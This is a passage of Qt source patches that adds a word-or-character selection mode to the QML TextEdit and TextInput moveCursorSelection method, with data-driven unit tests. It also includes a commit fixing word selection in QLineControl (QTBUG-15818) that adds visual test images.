cursor.setPosition(pos); d->control->setTextCursor(cursor); diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h index 37b24f7..6a05aa8 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h @@ -65,6 +65,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativePaintedItem Q_ENUMS(HAlignment) Q_ENUMS(TextFormat) Q_ENUMS(WrapMode) + Q_ENUMS(SelectionMode) Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged) Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged) @@ -120,6 +121,11 @@ public: Wrap = QTextOption::WrapAtWordBoundaryOrAnywhere }; + enum SelectionMode { + SelectCharacters, + SelectWords + }; + Q_INVOKABLE void openSoftwareInputPanel(); Q_INVOKABLE void closeSoftwareInputPanel(); @@ -195,6 +201,7 @@ public: Q_INVOKABLE QRectF positionToRectangle(int) const; Q_INVOKABLE int positionAt(int x, int y) const; Q_INVOKABLE void moveCursorSelection(int pos); + Q_INVOKABLE Q_REVISION(1) void moveCursorSelection(int pos, SelectionMode mode); QRectF boundingRect() const; diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index ac07d4b..491d219c4 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -50,6 +50,7 @@ #include #include #include +#include #ifndef QT_NO_LINEEDIT @@ -1320,35 +1321,119 @@ void QDeclarativeTextInput::setSelectByMouse(bool on) } } +void QDeclarativeTextInput::moveCursorSelection(int position) +{ + Q_D(QDeclarativeTextInput); + d->control->moveCursor(position, true); + d->updateHorizontalScroll(); +} /*! - \qmlmethod void TextInput::moveCursorSelection(int position) + \qmlmethod void TextInput::moveCursorSelection(int position, SelectionMode mode = TextInput.SelectCharacters) + \since Quick 1.1 - Moves the cursor to \a position and updates the selection accordingly. - (To only move the cursor, set the \l cursorPosition property.) + Moves the cursor to \a position and updates the selection according to the optional \a mode + parameter. (To only move the cursor, set the \l cursorPosition property.) When this method is called it additionally sets either the selectionStart or the selectionEnd (whichever was at the previous cursor position) to the specified position. This allows you to easily extend and contract the selected text range. + The selection mode specifies whether the selection is updated on a per character or a per word + basis. If not specified the selection mode will default to TextInput.SelectCharacters. + + \list + \o TextEdit.SelectCharacters - Sets either the selectionStart or selectionEnd (whichever was at + the previous cursor position) to the specified position. + \o TextEdit.SelectWords - Sets the selectionStart and selectionEnd to include all + words between the specified postion and the previous cursor position. Words partially in the + range are included. + \endlist + For example, take this sequence of calls: \code cursorPosition = 5 - moveCursorSelection(9) - moveCursorSelection(7) + moveCursorSelection(9, TextInput.SelectCharacters) + moveCursorSelection(7, TextInput.SelectCharacters) \endcode This moves the cursor to position 5, extend the selection end from 5 to 9 and then retract the selection end from 9 to 7, leaving the text from position 5 to 7 selected (the 6th and 7th characters). + + The same sequence with TextInput.SelectWords will extend the selection start to a word boundary + before or on position 5 and extend the selection end to a word boundary past position 9, and + then if there is a word boundary between position 7 and 8 retract the selection end to that + boundary. If there is whitespace at position 7 the selection will be retracted further. */ -void QDeclarativeTextInput::moveCursorSelection(int position) +void QDeclarativeTextInput::moveCursorSelection(int pos, SelectionMode mode) { Q_D(QDeclarativeTextInput); - d->control->moveCursor(position, true); - d->updateHorizontalScroll(); + + if (mode == SelectCharacters) { + d->control->moveCursor(pos, true); + } else if (pos != d->control->cursor()){ + int anchor; + if (!d->control->hasSelectedText()) + anchor = d->control->cursor(); + else if (d->control->selectionStart() == d->control->cursor()) + anchor = d->control->selectionEnd(); + else + anchor = d->control->selectionStart(); + + if (anchor < pos) { + QTextBoundaryFinder finder(QTextBoundaryFinder::Word, d->control->text()); + finder.setPosition(anchor); + + if (!(finder.boundaryReasons() & QTextBoundaryFinder::StartWord)) { + finder.toNextBoundary(); + if (finder.boundaryReasons() != QTextBoundaryFinder::StartWord) + finder.toPreviousBoundary(); + } + anchor = finder.position(); + + finder.setPosition(pos); + if (!(finder.boundaryReasons() & QTextBoundaryFinder::EndWord)) { + finder.toPreviousBoundary(); + if (finder.boundaryReasons() != QTextBoundaryFinder::EndWord) + finder.toNextBoundary(); + } + int cursor = finder.position(); + + if (anchor < cursor) + d->control->setSelection(anchor, cursor - anchor); + else + d->control->moveCursor(pos, false); + + } else if (anchor > pos) { + QTextBoundaryFinder finder(QTextBoundaryFinder::Word, d->control->text()); + + finder.setPosition(anchor); + if (!(finder.boundaryReasons() & QTextBoundaryFinder::EndWord)) { + finder.toPreviousBoundary(); + if (finder.boundaryReasons() != QTextBoundaryFinder::EndWord) + finder.toNextBoundary(); + } + anchor = finder.position(); + + finder.setPosition(pos); + if (!(finder.boundaryReasons() & QTextBoundaryFinder::StartWord)) { + finder.toNextBoundary(); + if (finder.boundaryReasons() != QTextBoundaryFinder::StartWord) + finder.toPreviousBoundary(); + } + int cursor = finder.position(); + + if (anchor > cursor) + d->control->setSelection(anchor, cursor - anchor); + else + d->control->moveCursor(pos, false); + } else { + d->control->moveCursor(pos, false); + } + } } /*! diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p.h index 878f040..25b8e66 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p.h @@ -63,6 +63,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativePaintedItem Q_OBJECT Q_ENUMS(HAlignment) Q_ENUMS(EchoMode) + Q_ENUMS(SelectionMode) Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged) Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged) @@ -112,10 +113,16 @@ public: AlignHCenter = Qt::AlignHCenter }; + enum SelectionMode { + SelectCharacters, + SelectWords + }; + //Auxilliary functions needed to control the TextInput from QML Q_INVOKABLE int positionAt(int x) const; Q_INVOKABLE QRectF positionToRectangle(int pos) const; Q_INVOKABLE void moveCursorSelection(int pos); + Q_INVOKABLE Q_REVISION(1) void moveCursorSelection(int pos, SelectionMode mode); Q_INVOKABLE void openSoftwareInputPanel(); Q_INVOKABLE void closeSoftwareInputPanel(); diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp index 23c8a1b..7af008f 100644 --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp @@ -66,6 +66,8 @@ #define SRCDIR "." #endif +Q_DECLARE_METATYPE(QDeclarativeTextEdit::SelectionMode) + QString createExpectedFileIfNotFound(const QString& filebasename, const QImage& actual) { // XXX This will be replaced by some clever persistent platform image store. @@ -107,6 +109,8 @@ private slots: void persistentSelection(); void focusOnPress(); void selection(); + void moveCursorSelection_data(); + void moveCursorSelection(); void mouseSelection_data(); void mouseSelection(); void inputMethodHints(); @@ -144,7 +148,9 @@ private: tst_qdeclarativetextedit::tst_qdeclarativetextedit() { standard << "the quick brown fox jumped over the lazy dog" - << "the quick brown fox\n jumped over the lazy dog"; + << "the quick brown fox\n jumped over the lazy dog" + << "Hello, world!" + << "!dlrow ,olleH"; richText << "the quick brown fox jumped over the lazy dog" << "the quick brown fox
    jumped over the lazy dog
    "; @@ -711,6 +717,162 @@ void tst_qdeclarativetextedit::selection() QVERIFY(textEditObject->selectedText().isNull()); } +void tst_qdeclarativetextedit::moveCursorSelection_data() +{ + QTest::addColumn("testStr"); + QTest::addColumn("cursorPosition"); + QTest::addColumn("movePosition"); + QTest::addColumn("mode"); + QTest::addColumn("selectionStart"); + QTest::addColumn("selectionEnd"); + QTest::addColumn("reversible"); + + QTest::newRow("(t)he|characters") + << standard[0] << 0 << 1 << QDeclarativeTextEdit::SelectCharacters << 0 << 1 << true; + QTest::newRow("do(g)|characters") + << standard[0] << 43 << 44 << QDeclarativeTextEdit::SelectCharacters << 43 << 44 << true; + QTest::newRow("jum(p)ed|characters") + << standard[0] << 23 << 24 << QDeclarativeTextEdit::SelectCharacters << 23 << 24 << true; + QTest::newRow("jumped( )over|characters") + << standard[0] << 26 << 27 << QDeclarativeTextEdit::SelectCharacters << 26 << 27 << true; + QTest::newRow("(the )|characters") + << standard[0] << 0 << 4 << QDeclarativeTextEdit::SelectCharacters << 0 << 4 << true; + QTest::newRow("( dog)|characters") + << standard[0] << 40 << 44 << QDeclarativeTextEdit::SelectCharacters << 40 << 44 << true; + QTest::newRow("( jumped )|characters") + << standard[0] << 19 << 27 << QDeclarativeTextEdit::SelectCharacters << 19 << 27 << true; + QTest::newRow("th(e qu)ick|characters") + << standard[0] << 2 << 6 << QDeclarativeTextEdit::SelectCharacters << 2 << 6 << true; + QTest::newRow("la(zy d)og|characters") + << standard[0] << 38 << 42 << QDeclarativeTextEdit::SelectCharacters << 38 << 42 << true; + QTest::newRow("jum(ped ov)er|characters") + << standard[0] << 23 << 29 << QDeclarativeTextEdit::SelectCharacters << 23 << 29 << true; + QTest::newRow("()the|characters") + << standard[0] << 0 << 0 << QDeclarativeTextEdit::SelectCharacters << 0 << 0 << true; + QTest::newRow("dog()|characters") + << standard[0] << 44 << 44 << QDeclarativeTextEdit::SelectCharacters << 44 << 44 << true; + QTest::newRow("jum()ped|characters") + << standard[0] << 23 << 23 << QDeclarativeTextEdit::SelectCharacters << 23 << 23 << true; + + QTest::newRow("(t)he|words") + << standard[0] << 0 << 1 << QDeclarativeTextEdit::SelectWords << 0 << 3 << true; + QTest::newRow("do(g)|words") + << standard[0] << 43 << 44 << QDeclarativeTextEdit::SelectWords << 41 << 44 << true; + QTest::newRow("jum(p)ed|words") + << standard[0] << 23 << 24 << QDeclarativeTextEdit::SelectWords << 20 << 26 << true; + QTest::newRow("jumped( )over|words") + << standard[0] << 26 << 27 << QDeclarativeTextEdit::SelectWords << 27 << 27 << false; + QTest::newRow("jumped( )over|words,reversed") + << standard[0] << 27 << 26 << QDeclarativeTextEdit::SelectWords << 26 << 26 << false; + QTest::newRow("(the )|words") + << standard[0] << 0 << 4 << QDeclarativeTextEdit::SelectWords << 0 << 3 << true; + QTest::newRow("( dog)|words") + << standard[0] << 40 << 44 << QDeclarativeTextEdit::SelectWords << 41 << 44 << true; + QTest::newRow("( jumped )|words") + << standard[0] << 19 << 27 << QDeclarativeTextEdit::SelectWords << 20 << 26 << true; + QTest::newRow("th(e qu)ick|words") + << standard[0] << 2 << 6 << QDeclarativeTextEdit::SelectWords << 0 << 9 << true; + QTest::newRow("la(zy d)og|words") + << standard[0] << 38 << 42 << QDeclarativeTextEdit::SelectWords << 36 << 44 << true; + QTest::newRow("jum(ped ov)er|words") + << standard[0] << 23 << 29 << QDeclarativeTextEdit::SelectWords << 20 << 31 << true; + QTest::newRow("()the|words") + << standard[0] << 0 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 0 << true; + QTest::newRow("dog()|words") + << standard[0] << 44 << 44 << QDeclarativeTextEdit::SelectWords << 44 << 44 << true; + QTest::newRow("jum()ped|words") + << standard[0] << 23 << 23 << QDeclarativeTextEdit::SelectWords << 23 << 23 << true; + + QTest::newRow("Hello(,) |words") + << standard[2] << 5 << 6 << QDeclarativeTextEdit::SelectWords << 5 << 6 << true; + QTest::newRow("Hello(, )|words") + << standard[2] << 5 << 7 << QDeclarativeTextEdit::SelectWords << 5 << 6 << true; + QTest::newRow("Hel(lo, )|words") + << standard[2] << 3 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 6 << true; + QTest::newRow("Hel(lo),|words") + << standard[2] << 3 << 5 << QDeclarativeTextEdit::SelectWords << 0 << 5 << true; + QTest::newRow("Hello(),|words") + << standard[2] << 5 << 5 << QDeclarativeTextEdit::SelectWords << 5 << 5 << true; + QTest::newRow("Hello,()|words") + << standard[2] << 6 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 6 << true; + QTest::newRow("Hello,( )|words") + << standard[2] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 7 << 7 << false; + QTest::newRow("Hello,( )|words") + << standard[2] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 6 << false; + QTest::newRow("Hello,( world)|words") + << standard[2] << 6 << 12 << QDeclarativeTextEdit::SelectWords << 7 << 12 << true; + QTest::newRow("Hello,( world!)|words") + << standard[2] << 6 << 13 << QDeclarativeTextEdit::SelectWords << 7 << 13 << true; + QTest::newRow("Hello(, world!)|words") + << standard[2] << 5 << 13 << QDeclarativeTextEdit::SelectWords << 5 << 13 << true; + QTest::newRow("world(!)|words") + << standard[2] << 12 << 13 << QDeclarativeTextEdit::SelectWords << 12 << 13 << true; + QTest::newRow("world!())|words") + << standard[2] << 13 << 13 << QDeclarativeTextEdit::SelectWords << 13 << 13 << true; + QTest::newRow("world()!)|words") + << standard[2] << 12 << 12 << QDeclarativeTextEdit::SelectWords << 12 << 12 << true; + + QTest::newRow("(,)olleH |words") + << standard[3] << 7 << 8 << QDeclarativeTextEdit::SelectWords << 7 << 8 << true; + QTest::newRow("( ,)olleH|words") + << standard[3] << 6 << 8 << QDeclarativeTextEdit::SelectWords << 7 << 8 << true; + QTest::newRow("( ,ol)leH|words") + << standard[3] << 6 << 10 << QDeclarativeTextEdit::SelectWords << 7 << 13 << true; + QTest::newRow(",(ol)leH,|words") + << standard[3] << 8 << 10 << QDeclarativeTextEdit::SelectWords << 8 << 13 << true; + QTest::newRow(",()olleH|words") + << standard[3] << 8 << 8 << QDeclarativeTextEdit::SelectWords << 8 << 8 << true; + QTest::newRow("(),olleH|words") + << standard[3] << 7 << 7 << QDeclarativeTextEdit::SelectWords << 7 << 7 << true; + QTest::newRow("( ),olleH|words") + << standard[3] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 7 << 7 << false; + QTest::newRow("( ),olleH|words,reversed") + << standard[3] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 6 << false; + QTest::newRow("(dlrow ),olleH|words") + << standard[3] << 1 << 7 << QDeclarativeTextEdit::SelectWords << 1 << 6 << true; + QTest::newRow("(!dlrow ),olleH|words") + << standard[3] << 0 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 6 << true; + QTest::newRow("(!dlrow ,)olleH|words") + << standard[3] << 0 << 8 << QDeclarativeTextEdit::SelectWords << 0 << 8 << true; + QTest::newRow("(!)dlrow|words") + << standard[3] << 0 << 1 << QDeclarativeTextEdit::SelectWords << 0 << 1 << true; + QTest::newRow("()!dlrow|words") + << standard[3] << 0 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 0 << true; + QTest::newRow("!()dlrow|words") + << standard[3] << 1 << 1 << QDeclarativeTextEdit::SelectWords << 1 << 1 << true; +} + +void tst_qdeclarativetextedit::moveCursorSelection() +{ + QFETCH(QString, testStr); + QFETCH(int, cursorPosition); + QFETCH(int, movePosition); + QFETCH(QDeclarativeTextEdit::SelectionMode, mode); + QFETCH(int, selectionStart); + QFETCH(int, selectionEnd); + QFETCH(bool, reversible); + + QString componentStr = "import QtQuick 1.1\nTextEdit { text: \""+ testStr +"\"; }"; + QDeclarativeComponent textinputComponent(&engine); + textinputComponent.setData(componentStr.toLatin1(), QUrl()); + QDeclarativeTextEdit *texteditObject = qobject_cast(textinputComponent.create()); + QVERIFY(texteditObject != 0); + + texteditObject->setCursorPosition(cursorPosition); + texteditObject->moveCursorSelection(movePosition, mode); + + QCOMPARE(texteditObject->selectionStart(), selectionStart); + QCOMPARE(texteditObject->selectionEnd(), selectionEnd); + + if (reversible) { + texteditObject->setCursorPosition(movePosition); + texteditObject->moveCursorSelection(cursorPosition, mode); + + QCOMPARE(texteditObject->selectionStart(), selectionStart); + QCOMPARE(texteditObject->selectionEnd(), selectionEnd); + } +} + void tst_qdeclarativetextedit::mouseSelection_data() { QTest::addColumn("qmlfile"); diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index 160c3b6..1de695e 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -57,6 +57,8 @@ #define SRCDIR "." #endif +Q_DECLARE_METATYPE(QDeclarativeTextInput::SelectionMode) + QString createExpectedFileIfNotFound(const QString& filebasename, const QImage& actual) { // XXX This will be replaced by some clever persistent platform image store. @@ -87,6 +89,8 @@ private slots: void font(); void color(); void selection(); + void moveCursorSelection_data(); + void moveCursorSelection(); void horizontalAlignment_data(); void horizontalAlignment(); @@ -124,7 +128,8 @@ tst_qdeclarativetextinput::tst_qdeclarativetextinput() { standard << "the quick brown fox jumped over the lazy dog" << "It's supercalifragisiticexpialidocious!" - << "Hello, world!"; + << "Hello, world!" + << "!dlrow ,olleH"; colorStrings << "aliceblue" << "antiquewhite" @@ -415,6 +420,162 @@ void tst_qdeclarativetextinput::selection() delete textinputObject; } +void tst_qdeclarativetextinput::moveCursorSelection_data() +{ + QTest::addColumn("testStr"); + QTest::addColumn("cursorPosition"); + QTest::addColumn("movePosition"); + QTest::addColumn("mode"); + QTest::addColumn("selectionStart"); + QTest::addColumn("selectionEnd"); + QTest::addColumn("reversible"); + + QTest::newRow("(t)he|characters") + << standard[0] << 0 << 1 << QDeclarativeTextInput::SelectCharacters << 0 << 1 << true; + QTest::newRow("do(g)|characters") + << standard[0] << 43 << 44 << QDeclarativeTextInput::SelectCharacters << 43 << 44 << true; + QTest::newRow("jum(p)ed|characters") + << standard[0] << 23 << 24 << QDeclarativeTextInput::SelectCharacters << 23 << 24 << true; + QTest::newRow("jumped( )over|characters") + << standard[0] << 26 << 27 << QDeclarativeTextInput::SelectCharacters << 26 << 27 << true; + QTest::newRow("(the )|characters") + << standard[0] << 0 << 4 << QDeclarativeTextInput::SelectCharacters << 0 << 4 << true; + QTest::newRow("( dog)|characters") + << standard[0] << 40 << 44 << QDeclarativeTextInput::SelectCharacters << 40 << 44 << true; + QTest::newRow("( jumped )|characters") + << standard[0] << 19 << 27 << QDeclarativeTextInput::SelectCharacters << 19 << 27 << true; + QTest::newRow("th(e qu)ick|characters") + << standard[0] << 2 << 6 << QDeclarativeTextInput::SelectCharacters << 2 << 6 << true; + QTest::newRow("la(zy d)og|characters") + << standard[0] << 38 << 42 << QDeclarativeTextInput::SelectCharacters << 38 << 42 << true; + QTest::newRow("jum(ped ov)er|characters") + << standard[0] << 23 << 29 << QDeclarativeTextInput::SelectCharacters << 23 << 29 << true; + QTest::newRow("()the|characters") + << standard[0] << 0 << 0 << QDeclarativeTextInput::SelectCharacters << 0 << 0 << true; + QTest::newRow("dog()|characters") + << standard[0] << 44 << 44 << QDeclarativeTextInput::SelectCharacters << 44 << 44 << true; + QTest::newRow("jum()ped|characters") + << standard[0] << 23 << 23 << QDeclarativeTextInput::SelectCharacters << 23 << 23 << true; + + QTest::newRow("(t)he|words") + << standard[0] << 0 << 1 << QDeclarativeTextInput::SelectWords << 0 << 3 << true; + QTest::newRow("do(g)|words") + << standard[0] << 43 << 44 << QDeclarativeTextInput::SelectWords << 41 << 44 << true; + QTest::newRow("jum(p)ed|words") + << standard[0] << 23 << 24 << QDeclarativeTextInput::SelectWords << 20 << 26 << true; + QTest::newRow("jumped( )over|words") + << standard[0] << 26 << 27 << QDeclarativeTextInput::SelectWords << 27 << 27 << false; + QTest::newRow("jumped( )over|words,reversed") + << standard[0] << 27 << 26 << QDeclarativeTextInput::SelectWords << 26 << 26 << false; + QTest::newRow("(the )|words") + << standard[0] << 0 << 4 << QDeclarativeTextInput::SelectWords << 0 << 3 << true; + QTest::newRow("( dog)|words") + << standard[0] << 40 << 44 << QDeclarativeTextInput::SelectWords << 41 << 44 << true; + QTest::newRow("( jumped )|words") + << standard[0] << 19 << 27 << QDeclarativeTextInput::SelectWords << 20 << 26 << true; + QTest::newRow("th(e qu)ick|words") + << standard[0] << 2 << 6 << QDeclarativeTextInput::SelectWords << 0 << 9 << true; + QTest::newRow("la(zy d)og|words") + << standard[0] << 38 << 42 << QDeclarativeTextInput::SelectWords << 36 << 44 << true; + QTest::newRow("jum(ped ov)er|words") + << standard[0] << 23 << 29 << QDeclarativeTextInput::SelectWords << 20 << 31 << true; + QTest::newRow("()the|words") + << standard[0] << 0 << 0 << QDeclarativeTextInput::SelectWords << 0 << 0 << true; + QTest::newRow("dog()|words") + << standard[0] << 44 << 44 << QDeclarativeTextInput::SelectWords << 44 << 44 << true; + QTest::newRow("jum()ped|words") + << standard[0] << 23 << 23 << QDeclarativeTextInput::SelectWords << 23 << 23 << true; + + QTest::newRow("Hello(,) |words") + << standard[2] << 5 << 6 << QDeclarativeTextInput::SelectWords << 5 << 6 << true; + QTest::newRow("Hello(, )|words") + << standard[2] << 5 << 7 << QDeclarativeTextInput::SelectWords << 5 << 6 << true; + QTest::newRow("Hel(lo, )|words") + << standard[2] << 3 << 7 << QDeclarativeTextInput::SelectWords << 0 << 6 << true; + QTest::newRow("Hel(lo),|words") + << standard[2] << 3 << 5 << QDeclarativeTextInput::SelectWords << 0 << 5 << true; + QTest::newRow("Hello(),|words") + << standard[2] << 5 << 5 << QDeclarativeTextInput::SelectWords << 5 << 5 << true; + QTest::newRow("Hello,()|words") + << standard[2] << 6 << 6 << QDeclarativeTextInput::SelectWords << 6 << 6 << true; + QTest::newRow("Hello,( )|words") + << standard[2] << 6 << 7 << QDeclarativeTextInput::SelectWords << 7 << 7 << false; + QTest::newRow("Hello,( )|words,reversed") + << standard[2] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 6 << false; + QTest::newRow("Hello,( world)|words") + << standard[2] << 6 << 12 << QDeclarativeTextInput::SelectWords << 7 << 12 << true; + QTest::newRow("Hello,( world!)|words") + << standard[2] << 6 << 13 << QDeclarativeTextInput::SelectWords << 7 << 13 << true; + QTest::newRow("Hello(, world!)|words") + << standard[2] << 5 << 13 << QDeclarativeTextInput::SelectWords << 5 << 13 << true; + QTest::newRow("world(!)|words") + << standard[2] << 12 << 13 << QDeclarativeTextInput::SelectWords << 12 << 13 << true; + QTest::newRow("world!())|words") + << standard[2] << 13 << 13 << QDeclarativeTextInput::SelectWords << 13 << 13 << true; + QTest::newRow("world()!)|words") + << standard[2] << 12 << 12 << QDeclarativeTextInput::SelectWords << 12 << 12 << true; + + QTest::newRow("(,)olleH |words") + << standard[3] << 7 << 8 << QDeclarativeTextInput::SelectWords << 7 << 8 << true; + QTest::newRow("( ,)olleH|words") + << standard[3] << 6 << 8 << QDeclarativeTextInput::SelectWords << 7 << 8 << true; + QTest::newRow("( ,ol)leH|words") + << standard[3] << 6 << 10 << QDeclarativeTextInput::SelectWords << 7 << 13 << true; + QTest::newRow(",(ol)leH,|words") + << standard[3] << 8 << 10 << QDeclarativeTextInput::SelectWords << 8 << 13 << true; + QTest::newRow(",()olleH|words") + << standard[3] << 8 << 8 << QDeclarativeTextInput::SelectWords << 8 << 8 << true; + QTest::newRow("(),olleH|words") + << standard[3] << 7 << 7 << QDeclarativeTextInput::SelectWords << 7 << 7 << true; + QTest::newRow("( ),olleH|words") + << standard[3] << 6 << 7 << QDeclarativeTextInput::SelectWords << 7 << 7 << false; + QTest::newRow("( ),olleH|words,reversed") + << standard[3] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 6 << false; + QTest::newRow("(dlrow ),olleH|words") + << standard[3] << 1 << 7 << QDeclarativeTextInput::SelectWords << 1 << 6 << true; + QTest::newRow("(!dlrow ),olleH|words") + << standard[3] << 0 << 7 << QDeclarativeTextInput::SelectWords << 0 << 6 << true; + QTest::newRow("(!dlrow ,)olleH|words") + << standard[3] << 0 << 8 << QDeclarativeTextInput::SelectWords << 0 << 8 << true; + QTest::newRow("(!)dlrow|words") + << standard[3] << 0 << 1 << QDeclarativeTextInput::SelectWords << 0 << 1 << true; + QTest::newRow("()!dlrow|words") + << standard[3] << 0 << 0 << QDeclarativeTextInput::SelectWords << 0 << 0 << true; + QTest::newRow("!()dlrow|words") + << standard[3] << 1 << 1 << QDeclarativeTextInput::SelectWords << 1 << 1 << true; +} + +void tst_qdeclarativetextinput::moveCursorSelection() +{ + QFETCH(QString, testStr); + QFETCH(int, cursorPosition); + QFETCH(int, movePosition); + QFETCH(QDeclarativeTextInput::SelectionMode, mode); + QFETCH(int, selectionStart); + QFETCH(int, selectionEnd); + QFETCH(bool, reversible); + + QString componentStr = "import QtQuick 1.1\nTextInput { text: \""+ testStr +"\"; }"; + QDeclarativeComponent textinputComponent(&engine); + textinputComponent.setData(componentStr.toLatin1(), QUrl()); + QDeclarativeTextInput *textinputObject = qobject_cast(textinputComponent.create()); + QVERIFY(textinputObject != 0); + + textinputObject->setCursorPosition(cursorPosition); + textinputObject->moveCursorSelection(movePosition, mode); + + QCOMPARE(textinputObject->selectionStart(), selectionStart); + QCOMPARE(textinputObject->selectionEnd(), selectionEnd); + + if (reversible) { + textinputObject->setCursorPosition(movePosition); + textinputObject->moveCursorSelection(cursorPosition, mode); + + QCOMPARE(textinputObject->selectionStart(), selectionStart); + QCOMPARE(textinputObject->selectionEnd(), selectionEnd); + } +} + void tst_qdeclarativetextinput::horizontalAlignment_data() { QTest::addColumn("hAlign"); -- cgit v0.12 From 77cba04c244c47c77af04777de3b3172c309b541 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Mon, 10 Jan 2011 15:01:11 +1000 Subject: Fix word selection in QLineControl Word selection occasionally selected the word beforehand as well, in both QLineEdit and TextInput. Visual Test included to verify behavior. Task-number: QTBUG-15818 Reviewed-by: Martin Jones --- src/gui/widgets/qlinecontrol.cpp | 4 +- .../data-X11/qtbug-15818.0.png | Bin 0 -> 573 bytes .../data-X11/qtbug-15818.1.png | Bin 0 -> 573 bytes .../data-X11/qtbug-15818.2.png | Bin 0 -> 573 bytes .../data-X11/qtbug-15818.3.png | Bin 0 -> 647 bytes .../data-X11/qtbug-15818.4.png | Bin 0 -> 647 bytes .../data-X11/qtbug-15818.5.png | Bin 0 -> 625 bytes .../qdeclarativetextinput/data-X11/qtbug-15818.qml | 1039 ++++++++++++++++++++ .../qdeclarativetextinput/qtbug-15818.qml | 13 + 9 files changed, 1054 insertions(+), 2 deletions(-) create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml diff --git a/src/gui/widgets/qlinecontrol.cpp b/src/gui/widgets/qlinecontrol.cpp index 5ea9dc4..12607c1 100644 --- a/src/gui/widgets/qlinecontrol.cpp +++ b/src/gui/widgets/qlinecontrol.cpp @@ -541,10 +541,10 @@ void QLineControl::draw(QPainter *painter, const QPoint &offset, const QRect &cl */ void QLineControl::selectWordAtPos(int cursor) { - int c = m_textLayout.previousCursorPosition(cursor, QTextLayout::SkipWords); + int c = m_textLayout.previousCursorPosition(cursor+1, QTextLayout::SkipWords); moveCursor(c, false); // ## text layout should support end of words. - int end = m_textLayout.nextCursorPosition(cursor, QTextLayout::SkipWords); + int end = m_textLayout.nextCursorPosition(c, QTextLayout::SkipWords); while (end > cursor && m_text[end-1].isSpace()) --end; moveCursor(end, true); diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.png new file mode 100644 index 0000000..fc34b1a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.png new file mode 100644 index 0000000..fc34b1a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.png new file mode 100644 index 0000000..fc34b1a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.png new file mode 100644 index 0000000..fb2c90b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.png new file mode 100644 index 0000000..fb2c90b Binary files /dev/null and 